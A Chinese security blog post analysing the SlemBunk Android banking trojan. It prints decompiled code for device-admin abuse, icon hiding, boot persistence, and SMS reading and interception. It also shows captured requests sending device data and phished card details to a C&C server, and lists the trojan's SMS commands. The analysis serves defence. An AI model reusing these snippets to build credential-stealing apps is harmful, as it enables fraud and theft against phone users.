IT技术博客大学习 共学习 共进步
全部 移动开发 后端 数据库 AI 算法 安全 DevOps 前端 设计 开发者

SlemBunk木马浅析

绿盟科技博客 2016-03-10 23:52:49 累计浏览 2,629 次
本机暂存

   SlemBunk最初由FireEye发现,后来其他一些安全公司也相继发现,作者有幸拿到该样本,分析该木马发现其设计精妙绝伦,可在此基础上做进一步演变。该样本伪造成其他一些常用android应用,欺骗用户输入信用卡相关敏感信息,下面我们就一步步分析。

1 恶意行为

1.1 控制锁屏行为

   控制电源状态为PARTIAL_WAKE_LOCK,在这个状态下,即使关机,cpu也处在运行状态,直到代码主动释放。

   java
public void onCreate() {
super.onCreate();
this.mWakeLock = this. getSystemService("power" ).newWakeLock (1, "MyWakeLock" );  // in PARTIAL_WAKE_LOCK mode regardless of the power off
this.mWakeLock .acquire ();
}

1.2 设备管理员权限

   获取设备管理员权限,如果没有设备管理员则申请,它会弹出一个界面供用户确认,DEVICE_ADMIN是相应的组件,ADD_EXPLANTION给用户的解释说明

   java
public void checkDeviceAdmin() {
ComponentName v0 = new ComponentName((( Context)this ), MyDeviceAdminReceiver.class );
if(!this .deviceManager. isAdminActive(v0)) {
Intent v1 = new Intent( "android.app.action.ADD_DEVICE_ADMIN" );
v1. putExtra("android.app.extra.DEVICE_ADMIN" , ((Parcelable) v0));
v1. putExtra("android.app.extra.ADD_EXPLANATION" , "Get video codec access");
this.startActivity (v1 );
}
}

1.3 隐藏图标

   等用户安装完该应用,激活设备管理权限之后,会隐藏图标,比较有意思的隐藏图标的代码有一小段隐藏代码,对于smali可能不好阅读,但是反编译成java之后,这代码就是小菜一碟。

   java
if(("3". equals("3")) || ( "3" .equals( "1" ))) {
this.getPackageManager ().setComponentEnabledSetting (new ComponentName(((Context )this), Main. class), 2 , 1);

1.4 计划任务

   java
private void scheduleLaunch() {
Calendar v0 = Calendar .getInstance ();
v0. add( 12, this .restartTimeMinutes);
Intent v1 = new Intent( "com.slempo.service.activities.HTMLStart" );
v1. putExtra("values" , this. getIntent().getStringExtra ("values"));
this.am .set (0, v0. getTimeInMillis(), PendingIntent.getBroadcast (((Context) this), 0 , v1 , 0));
}

1.5获取运行的应用

   slembunk木马会根据当前正在运行的应用来决定是否启用信用卡欺骗页面

   java
private String getTopRunning() {
List v1 = this .getSystemService ("activity"). getRunningTasks(1 );
String v3 = !v1.isEmpty() ? v1.get(0 ).topActivity. getPackageName() : "" ;
return v3;
}

1.6 获取短信记录

   java
public static String readMessagesFromDeviceDB (Context context) {
Cursor v8;
Uri v1 = Uri .parse ("content://sms/inbox");
String[] v2 = new String[]{ "_id", "address" , "body", "date"};
JSONArray v12 = new JSONArray();
try {
v8 = context.getContentResolver ().query (v1 , v2 , null, null, null );
if(v8 != null ) {
if(!v8.moveToFirst ()) {
goto label_55 ;
}

do {
                String v6 = v8.getString(v8.getColumnIndex ("address"));
                String v7 = v8.getString(v8.getColumnIndex ("body"));
                String v9 = new SimpleDateFormat( "dd-MM-yyyy HH:mm:ss" , Locale.US ).format (new Date(
                        Long.parseLong(v8.getString(v8.getColumnIndex ("date")))));
                JSONObject v13 = new JSONObject();
                v13. put( "from", v6);
                v13. put( "body", v7);
                v13. put( "date", v9);
                v12. put( v13);
                if(v8.moveToNext ()) {
                    continue;
                }

                break;
            }
            while(true );
        }
    }

1.7获取电话号码

   java
public static String getPhoneNumber(Context context ) {
String v0 = context.getSystemService ("phone"). getLine1Number();
if(v0 == null || (v0. equals("" ))) {
v0 = "";
}

return v0;
}

1.8 获取DeviceID

   java
 public static String getDeviceId (Context context) {
String v1;
String v0 = context.getSystemService ("phone"). getDeviceId();
if((v0.equals("" )) || v0 == null || (v0.equals("000000000000000" ))) {
v0 = Settings$Secure.getString(context.getContentResolver (), "android_id" );
if(v0 != null && !v0. equals("" )) {
return v0;
}

v0 = Build.SERIAL ;
        if(v0 != null && !v0. equals("" ) && !v0. equalsIgnoreCase("unknown" )) {
            return v0;
        }

        v1 = "not available";
    }
    else {
        v1 = v0;
    }

    return v1;
}

1.9 设置开机启动

   木马会被设置成开机启动并且监听外部sd卡,当sd卡准备好之后也会被启动。

   xml
<receiver android:enabled="true " android:exported=" true" android:name=".reiujdksmcoiwerj ">
<intent-filter>
<action android:name="android.intent.action.ACTION_EXTERNAL_APPLICATIONS_AVAILABLE " />
</intent-filter>
</receiver>
<receiver android:enabled="true " android:exported=" true" android:name=".hujnkij8uijkjlmj ">
<intent-filter>
<action android:name="android.intent.action.BOOT_COMPLETED " />
</intent-filter>
</receiver>

1.10 监听短信

   木马通过短信下发cc指令,从如下AndroidMenifest.xml部分文件可看出,木马对短信应用进行监听,并且权限高于系统短信应用。

   xml
< receiver android:enabled ="true" android:exported="true " android:name=".riejkmdcwepoksmieru ">
<intent-filter android:priority="999 ">
<action android:name="android.provider.Telephony.SMS_RECEIVED " />
</intent-filter>
</receiver>

   下面是recevier的onReceive方法:

   java
public void onReceive(Context context, Intent intent ) {
SharedPreferences v8 = context.getSharedPreferences ("AppPrefs", 0);
new HashSet ();
try {
Object v1 = DATAWraper .deserialize (v8 .getString ("BLOCKED_NUMBERS", DATAWraper.serialize(
new HashSet ())));
}
catch(Exception v2 ) {
v2. printStackTrace();
}

Map v3 = SendSMSRecevier .retrieveMessages (intent );
    Iterator v10 = v3.keySet().iterator ();
    while(v10.hasNext()) {
        Object v7 = v10.next();
        CommandCenter v6 = new CommandCenter( v3. get( v7), "", context);
        if(v6.processCommand ()) {
            this.abortBroadcast ();
            continue;
        }

        boolean v4 = v6.needToInterceptIncoming ();
        boolean v5 = v6.needToListen ();
        if(!v4 &amp;&amp; !((HashSet )v1 ).contains (v7 )) {
            if(!v5) {
                continue;
            }

            SendData.sendListenedIncomingSMS (context , v3 .get (v7 ), ((String)v7));
            continue;
        }

        SendData.sendInterceptedIncomingSMS (context , v3 .get (v7 ), ((String)v7));
        this.abortBroadcast ();
    }
}

2 木马工作流程

   木马在AndroidManifest.xml中监听了SMS_RECEIVED,ACTION_EXTERNAL_APPLICATIONS_AVAILABLE,BOOT_COMPLETED,DEVICE_ADMIN_ENABLED,com.slempo.service.activities.HTMLStart这五个action,同时注册了几个activity和一个service,除主activity外,其他都是一些欺骗页面,service则负责启动相应activity,请求设备管理权限等。下面简单看下代码流程:

   原图已失效

   在main activity中会启动MainServiceStart服务,这个服务会启动三个线程周期性轮询,判断当前应用启动伪信用卡界面;请求deviceAdmin权限;判断指令启动相应的伪界面;发送电话,ime等敏感信息。发送敏感信息的请求如下:

   
POST / HTTP/1.1
Content-Length: 481
Content-Type: text/plain; charset=UTF-8
Host: 181.174.164.25:2080
Connection: Keep-Alive
User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4)

   {"os":"4.0.4","model":"Unknown sdk","phone number":"15555215554","apps":["com.android.gesture.builder","com.android.widgetpreview","com.example.android.apis","com.example.android.livecubes","com.example.android.softkeyboard","com.joeykrim.rootcheck","de.robv.android.xposed.installer","de.robv.android.xposed.installer.staticbusybox","eu.chainfire.supersu","org.slempo.service"],"imei":"8f986e65d50f299a","client number":"3","type":"device info","operator":"310260","country":"US"}

   前面也说到了木马会根据当前正在运行的应用来决定是否启动伪信用卡页面,伪界面如下

   添加信用卡 添加详细信息

   木马作者对上述用户信息做了严格校验,首先是信用卡信息必须合法,其次过期时间必须在2014到2020年之间,到了信用卡地址信息页面,对邮政编码和电话号码做了严格的关联,用户填完所有信息之后就会发送给c&c主机,请求如下:

   
POST / HTTP/1.1
Content-Length: 401
Content-Type: text/plain; charset=UTF-8
Host: 181.174.164.25:2080
Connection: Keep-Alive
User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4)

   {"data":{"additional information":{"old vbv password":"123456","vbv password":"qwerty"},"type":"card information","card":{"cvc":"393","month":"12","year":"15","number":"4024 0238 6573 0515"},"billing address":{"date of birth":"01.03.1990","phone number":"212-925-2355","street address":"dalianganjinzi","zip code":"10002","phone prefix":"+1","name on card":"Zhanghua"}},"type":"user data","code":"-1"}

   附录 c&c指令

   CommandCenter.commands. add("#intercept_sms_start");
CommandCenter.commands .add ("#intercept_sms_stop")
CommandCenter.commands .add ("#block_numbers");
CommandCenter.commands .add ("#unblock_all_numbers");
CommandCenter.commands .add ("#unblock_numbers");
CommandCenter.commands .add ("#lock");
CommandCenter.commands .add ("#unlock");
CommandCenter.commands .add ("#send" + "_sms");
CommandCenter.commands .add ("#forward" + "_calls");
CommandCenter.commands .add ("#disable_forward_calls");
CommandCenter.commands .add ("#control_number");
CommandCenter.commands .add ("#update_html");
CommandCenter.commands .add ("#show_html");
CommandCenter.commands .add ("#wipe_data");

同分类推荐文章

  1. 绿盟科技《APT组织研究年鉴》(2026 版)正式发布 (2026-06-16 20:21:10)
  2. 【已复现】Linux内核Fragnesia权限提升漏洞(CVE-2026-46300) (2026-06-15 10:53:58)
  3. 企业文档安全最佳实践(二):给文档上“身份证”——手动标密与智能自动标密 (2026-06-12 17:18:33)

查看更多 安全 文章 →

建议继续学习

  1. IOS安全–浅谈关于IOS加固的几种方法 (累计阅读 19,374)
  2. 利用QQ游戏破解QQ密码 (累计阅读 5,313)
  3. 360软件管家通信协议分析 (累计阅读 4,321)
  4. msn2011完美去广告方案 (累计阅读 3,366)
  5. MSN 8.5去除广告栏和共享文件夹 (累计阅读 2,687)
  6. 也来谈谈沙箱逃逸技术 (累计阅读 2,274)
  7. FakeID签名漏洞分析及利用(Google Bug 13678484) (累计阅读 1,998)